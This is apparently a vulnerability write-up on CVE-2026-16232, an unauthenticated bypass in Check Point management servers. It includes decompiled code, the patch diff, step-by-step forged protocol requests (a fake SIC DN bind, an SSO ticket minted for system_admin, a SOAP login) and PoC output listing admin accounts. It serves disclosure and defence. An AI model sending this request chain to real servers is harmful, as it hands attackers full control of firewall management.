The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication(). 

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

❌
❌